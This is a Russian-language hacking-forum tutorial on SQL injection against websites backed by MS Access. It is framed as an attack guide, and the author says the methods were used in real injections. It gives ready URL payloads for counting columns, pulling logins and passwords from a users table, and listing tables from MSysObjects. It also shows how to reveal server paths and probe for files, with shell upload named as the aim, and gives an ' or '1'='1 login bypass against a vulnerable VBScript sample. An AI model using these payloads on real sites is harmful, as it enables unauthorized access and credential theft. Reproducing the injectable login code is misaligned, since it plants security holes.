[Введение]

В данной статье я хочу развеять миф и слухи о том, что проведение SQL инъекций в MSAccess не возможно.
Достаточно часто встречал вопросы, по этой теме, в том числе и на нашем форуме, но не видел вразумительных ответов =\
При этом ресурсы использующие MS Access достаточно распространены в сети.
Прежде чем начать, скажу, что методы приведенные в данной статье, неоднократно проверены и применялись при реальном проведении инъекций =)

[Особенности MS Access]

Вначале приведу некоторые свойства, которые необходимо учитывать при проведении инъекции в
MS Access. Сразу хочу оговориться, что в статье рассматривается проведение инъекций в
операторе SELECT. Хотя проведение инъекций в операторах INSERT, UPDATE и DELETE, так же
возможно.
В MS Access, так же как и в MySQL и в PostgreSQL, инъекция проводится путем использования
оператора UNION, т.е. с составлением объединенного запроса(далее по тексту подзапроса).

Очень важным свойством является то, что все запросы SELECT должны производиться из какой-то
таблицы, т.е. синтаксис запроса всегда должен содержать слово FROM и имя таблицы.
Синтаксис SELECT:

Код:

select [Предикат] Поля from Таблицы [in БазаДанных]
[where ...] [group by ...] [having ...] [order by ...];
[b]Необязательные аргументы заключены в [ ].

Немаловажным свойством является отсутствие оператора LIMIT, вместо него можно использовать
оператор TOP X START AT Y.

Так же очень важным свойством, является отсутствие символов комментариев, что делает
невозможным усечение основного запроса.

Нет возможности использования нескольких запросов с применением разделителя “;”, данный
символ означает окончание запроса, его подстановкой можно определить наличие каких-либо
конструкций за уязвимым параметром, но не их выполнение.

[Обнаружение MS Access]

Как правило однозначно идентифицировать MS Access можно при обнаружении двух ошибок
следующего содержания:

Код:

[Microsoft][ODBC Microsoft Access Driver]
Syntax error ....
или

Код:

Microsoft JET Database Engine error '80040e14'
Syntax error in string ....
В любом случае работаем с Access.

[Подбор столбцов]

Пусть ошибка присутствует в параметре id:

Код:

wwwsite.com/view.asp?id=1’
Определение количества столбцов присутствующих в основном запросе происходит так же, как и в MySQL. Так как оператор UNION требует одинакового количества столбцов, как в основном запросе, так и в подзапросе нам нужно количество этих столбцов определить.

Для подбора столбцов существует 2 известных способа. Но при этом необходимо учитывать особенность MS Access и подбор столбцов перебором с помощью union select осуществлять только в случае, если мы знаем точно имя какой-то таблицы в базе и имеем к ней доступ на чтение!

1. Простой перебор.

Допустим мы знаем о существовании таблицы users и имеем к ней доступ на чтение. Составим следующий запрос

Код:

wwwsite.com/view.asp?id=-1+union+select+1+from+users
Если появилась ошибка:

Код:

The number of columns in the two selected tables or queries of a union query do not match.
увеличиваем количество столбцов на один

Код:

wwwsite.com/view.asp?id=-1+union+select+1, 2+from+users
и так пока не исчезнет ошибка.

2. Использование оператора ORDER BY

Второй способ намного быстрее и приятнее, если количество столбцов достаточно большое.
И что самое главное позволяет определить количество столбцов, без знания имен таблиц в базе.

Составим следующий запрос:

Код:

wwwsite.com/view.asp?id=-1+order+by+1
если ошибка с номером:

Код:

error '80020009'
значит столбцов 1 или более 1

Код:

wwwsite.com/view.asp?id=-1+order+by+99999
При таком запросе должна появиться ошибка:

Код:

Microsoft JET Database Engine error '80040e14'
The Microsoft Jet database engine does not recognize '99999' as a valid field name or expression.
что означает столбцов меньше 99999. Далее таким же образом уменьшаем границы выбранного интервала слева и справа и в конечном итоге определяем реальное количество столбцов в основном запросе.

[Определение принтабельных столбцов]

Для определения принтабильных столбцов, нам необходимо знать имя любой таблицы.
Если например столбцов основном запросе 4, то составим запрос:

Код:

wwwsite.com/view.asp?id=-1+union+select+1,2,3,4+from+users
И обнаружив соответствующую цифру на выведенной странице мы обнаружим номер принтабельного столбца.

[Получение информации]

После того как мы узнали количество столбцов и какие из них принтабельны, мы можем смело переходить к получению необходимой информации из базы. Хорошо если нам известны определенные таблицы в базе и столбцы в них, тогда получение информации не составит особого труда.
Например, если существует таблица USERS со столбцами ID,LOGIN и PASSWORD, то запрос на получение этих данных будет выглядеть следующим образом

Код:

wwwsite.com/view.asp?id=-1+union+select+1, login, password, 4+from+users+where+id=123

[Таблицы]

Если пользовательские таблицы нам неизвестны, то мы можем попробывать получить различную информацию из системных таблиц MS Access. Хотя доступ к ним по умолчанию запрещен, всякое бывает.
В Access существуют следующие системные таблицы:

Код:

MSysACEs
MSysCmdbars
MSysModules
MSysModules2
MSysObjects
MSysQueries
MSysRelationships
Наибольший интерес представляет таблица, MSysObjects которая содержит имена всех таблиц в базе. Вытаскиваем имена таблиц, кроме системных(системные имеют type=1):

Код:

wwwsite.com/view.asp?id=-1+union+select+1,name,3,4+from+MSysObjects+where+M  SysObjects.Type=6
Для получения следующего имени таблицы воспользуемся оператором TOP:

Код:

wwwsite.com/view.asp?id=-1+union+select+top+1+start+at+2+1,name,3,4+from+MS  ysObjects+where+MSysObjects.Type=6
Таким образом, перебирая записи мы можем посмотреть по очереди все имена таблиц.

Если все таки, мы не имеем доступа к системным таблицам, что встречается чаще, то для выявления необходимых таблиц, остается только метод перебора с учетом вероятных названий различных переменных в html формах. Например, если есть форма аутентификации с логином и паролем, то скорее всего есть таблица с названием users, logins, etc...

[Раскрытие путей]

Хорошей особенностью обладают инъекции в MS Access, с их помощью можно определить существование и расположение необходимых директорий и файлов, например для заливки шелла через другие баги на сайте.

1. Раскрытие системной директории.
Составим запрос:

Код:

wwwsite.com/view.asp?id=-1+union+select+*+from+msysobjects+in+'.'
главная часть запроса '.', имя столбца и таблицы не важно.
в результате получим ошибку и в ней путь:

Код:

Microsoft JET Database Engine error '80004005'
The Microsoft Jet database engine cannot open the file 'c:\winnt\system32\'. It is already opened exclusively by another user, or you need permission to view its data.
2. Подтверждение существования файла.

Составим запрос:

Код:

wwwsite.com/view.asp?id=-1+union+select+*+from+msysobjects+in+'с:\boot.ini' 
Если файл не существует, то получим ошибку:

Код:

Microsoft JET Database Engine error '80004005'
Could not find file 'C:\boot.ini'
Если существует, то ошибку:

Код:

Microsoft JET Database Engine error '80004005'
Unrecognized database format 'C:\boot.ini'
3. Подтверждение существования директории.

Составим запрос:

Код:

wwwsite.com/view.asp?id=-1+union+select+*+from+msysobjects+in+'с:\inetpub\sqlerr'
Если дира не существует, то получим ошибку:

Код:

Microsoft JET Database Engine error '80004005'
'с:\inetpub\sqlerr' is not a valid path.
Если существует, то ошибку:

Код:

Microsoft JET Database Engine error '80004005'
Could not find file 'с:\inetpub\sqlerr'

[Обход простой Авторизации]

Прежде необходимо отметить, что инъекции в POST-параметрах, так же возможны, проводятся аналогично GET-параметрам, ошибки выводятся, аналогичные если нет редиректа.
Инъекции в текстовых GET/POST параметрах, проводятся путем использования закрывающей и открывающей кавычек, например:

Код:

wwwsite.com/view.asp?name=as'+and+'1
Для более глубокого понимания обхода базовой авторизации рассмотрим простой скрипт:

Код:

        user = request("user")
        pass = request("pass")
        Set Conn =  Server.CreateObject("ADODB.Connection")
        Set Rs = Server.CreateObject("ADODB.Recordset")
        Conn.Open dsn
        SQL = "SELECT * FROM users where pass='"& pass &"' and user='"& user & "'"
        rs.open sql,conn
        if rs.eof and rs.bof then
                ' Access Denied
        else
                ' Access Allowed
        end if
Теперь видно каким образом происходит взаимодействие с базой из VBScript.
Для обхода такой авторизации, необходимо ввести в поля логин и пароль следующие значения:

Код:

user = ' or '1'='1
pass = test

[Копирайты]

При написании статьи использовались следующие материалы:
Описание системной таблицы MS Access - MSysObjects,Автор NSA http://hiprog.com/index.php?option=c... … ;Itemid=35
Оборотная сторона Microsoft Access, Автор Александр Запольскис http://adm.jinr.ru/doc/access/page18.htm
Access SQL Injection, Brett Moore
http://seclists.org/pen-test/2003/May/0074.html
Статья [cash], Проведение инъекций в MSSQL сервере от Microsoft, https://forum.antichat.ru/showthread.php?t=30501
MSDN + мои практические наработки =)